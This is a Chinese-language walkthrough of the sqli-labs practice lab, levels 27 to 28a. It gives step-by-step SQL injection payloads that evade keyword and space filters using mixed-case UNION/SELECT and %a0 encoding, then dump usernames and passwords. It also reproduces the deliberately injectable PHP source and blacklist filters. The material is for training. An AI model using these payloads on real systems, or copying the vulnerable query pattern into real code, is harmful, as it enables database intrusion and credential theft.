1. 程式人生 > 資料庫 >sqli-labs 通關指南:Less 27、28

sqli-labs 通關指南:Less 27、28

Less 27 和 Less 28 都涉及到了對 “SELECT” 和 “UNION” 的過濾,根據情況我們可以採用大小寫過濾或者用其他編碼打亂過濾的句式。

目錄

Less 27

GET-Error Based-All your UNION & SELECT belong to us(基於錯誤的過濾了 union 和 select 的注入)

判斷注入型別

注入正常的引數,網頁返回對應 id 的正常資訊。單引號沒有被過濾,使用兩個單引號分別閉合前後的引號。網頁回顯正常的內容,說明該網頁存在單引號閉合的字元型注入。

?id=1''


測試以下所有的引數,這次 “OR”、“AND” 沒被過濾,不過所有的註釋符和空格還是被過濾了。

?id=1'#
?id=1'/*
?id=1'/
?id=1'\

獲取資料庫資訊

此處可以使用 updatexml() 報錯注入,也可以使用 URL 編碼來代替空格後用 UNION 注入。判斷有幾列可用,別忘了 “ORDER” 中的 “or” 被過濾掉了。

?id=1'%a0ORDER%a0BY%a03||'1'='1


判斷回顯位置,注意該注入返回了錯誤資訊。從提示可以看到,“SELECT” 和 “UNION” 統統被過濾了。

?id=9999'%a0UNION%a0SELECT%a01,2,3%a0or%a0'1'='1


可以使用大小寫繞過來繞過過濾機制,也就是使用的 “SELECT” 和 “UNION” 是大小寫混雜的。

?id=9999'%a0UNiON%a0SElECT%a01,2,3%a0or%a0'1'='1


爆資料庫名。

?id=9999'%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0'1'='1


爆表名。

?id=9999'%a0UNiON%a0SELeCT%a01,group_concat(table_name),3%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema = 'security'%a0or%a0'1'='2


爆欄位名。

?id=9999'%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0'1'='2

獲取目標資訊

獲取所有使用者名稱和對應的密碼。

?id=9999'%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0'1

關卡原始碼

SQL 查詢語句

//fiddling with comments
$id = blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint = $id;

// connectivity 
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
      echo "<font size='5' color= '#99FF00'>";	
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

過濾函式

可以看到 “UNION” 和 “SELECT” 都被過濾了,不過過濾是區分大小寫的,所以使用大小寫繞過可行。

function blacklist($id)
{
      $id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
      $id= preg_replace('/[--]/',"", $id);		//Strip out --.
      $id= preg_replace('/[#]/',"", $id);			//Strip out #.
      $id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
      $id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
      $id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
      $id= preg_replace('/union/s',"", $id);	    //Strip out union
      $id= preg_replace('/select/s',"", $id);	    //Strip out select
      $id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
      $id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
      $id= preg_replace('/Union/s',"", $id);	    //Strip out Union
      $id= preg_replace('/Select/s',"", $id);	    //Strip out select
      return $id;
}

Less 27a

GET-Blind Based All your UNION & SELECT belong to us(基於盲注的過濾了 union 和 select 的注入)

判斷注入型別

注入正常的引數,網頁返回對應 id 的正常資訊。單引號沒有被過濾,無論使用幾個單引號閉合網頁回顯正常的內容,說明不是用單引號閉合。

?id=1'


注入雙引號,網頁無任何回顯。

?id=1"


注入兩個雙引號閉合,網頁回顯正常資訊,說明此處存在雙引號閉合的字元型盲注。

?id=1""

獲取資料庫資訊

除了閉合的符號不同,其他的和 Less 27 一樣。判斷有幾列可用。

?id=1"%a0ORDER%a0BY%a03or%a0"1"="1


判斷回顯位置。

?id=9999"%a0UNiON%a0SElECT%a01,2,3%a0or%a0"1"="1


爆資料庫名。

?id=9999"%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0"1"="1


爆表名。

?id=9999"%a0UNiON%a0SELeCT%a01,group_concat(table_name),3%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema = 'security'%a0or%a0"1"="2


爆欄位名。

?id=9999"%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0"1"="2

獲取目標資訊

獲取所有使用者名稱和對應的密碼。

?id=9999"%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0"1

關卡 SQL 查詢語句

//fiddling with comments
$id = blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint = $id;
$id = '"' .$id. '"';

// connectivity 
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
      echo "<font size='5' color= '#99FF00'>";	
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      //print_r(mysql_error());
      echo "</font>";  
}

Less 28

GET-Error Based-All your UNION & SELECT belong to us String-Single quote with parenthesis(基於錯誤的有括號的單引號過濾了 union 和 select 等字元型注入)

判斷注入型別

注入正常的引數,網頁返回對應 id 的正常資訊。單引號沒有被過濾,使用兩個單引號閉合返回正常的資訊。

?id=1''


進一步測試閉合型別,使用單引號和括號閉合回顯正常的資訊,說明網頁是使用單引號和括號進行閉合。

?id=1') OR ('1

獲取資料庫資訊

除了閉合的符號不同,其他的和 Less 27 一樣。判斷有幾列可用。

?id=1')%a0ORDER%a0BY%a03%a0or%a0('1')=('1


判斷回顯位置。

?id=9999')%a0UNiON%a0SElECT%a01,2,3%a0or%a0('1')=('1


爆資料庫名。

?id=9999')%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0('1')=('1


爆表名。

?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(table_name),3%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema = 'security'%a0or%a0('1')=('2


爆欄位名。

?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0('1')=('2

獲取目標資訊

獲取所有使用者名稱和對應的密碼。

?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0('1

關卡原始碼

關卡 SQL 查詢語句

//fiddling with comments
$id = blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint = $id;

// connectivity 
$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
      echo "<font size='5' color= '#99FF00'>";	
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      //print_r(mysql_error());
      echo "</font>";  
}

過濾函式

過濾了 “union select” 的句式,因此此處大小寫繞過沒有用,而是需要用 URL 編碼代替空格。

function blacklist($id)
{
      $id = preg_replace('/[\/\*]/',"", $id);				//strip out /*
      $id = preg_replace('/[--]/',"", $id);				//Strip out --.
      $id = preg_replace('/[#]/',"", $id);					//Strip out #.
      $id = preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
      //$id = preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
      $id = preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
      $id = preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
      return $id;
}

Less 28a

GET-Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基於盲注的有括號的單引號過濾了 union 和 select 等字元型注入)

判斷注入型別

注入正常的引數,網頁返回對應 id 的正常資訊。單引號沒有被過濾,使用一個單引號閉合無回顯。

?id=1'


使用兩個單引號閉合回顯正常,說明此處存在單引號閉合的盲注。

?id=1''


進一步測試閉合型別,使用單引號和括號閉合回顯正常的資訊,說明網頁是使用單引號和括號進行閉合。

?id=1') OR ('1

獲取資料庫資訊

注入過程和 Less 28 完全一樣。判斷有幾列可用。

?id=1')%a0ORDER%a0BY%a03%a0or%a0('1')=('1


判斷回顯位置。

?id=9999')%a0UNiON%a0SElECT%a01,2,3%a0or%a0('1')=('1


爆資料庫名。

?id=9999')%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0('1')=('1


爆表名。

?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(table_name),3%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema = 'security'%a0or%a0('1')=('2


爆欄位名。

?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0('1')=('2

獲取目標資訊

獲取所有使用者名稱和對應的密碼。

?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0('1

關卡 SQL 查詢語句

//fiddling with comments
$id = blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint = $id;

// connectivity 
$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
      echo "<font size='5' color= '#99FF00'>";	
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      //print_r(mysql_error());
      echo "</font>";  
}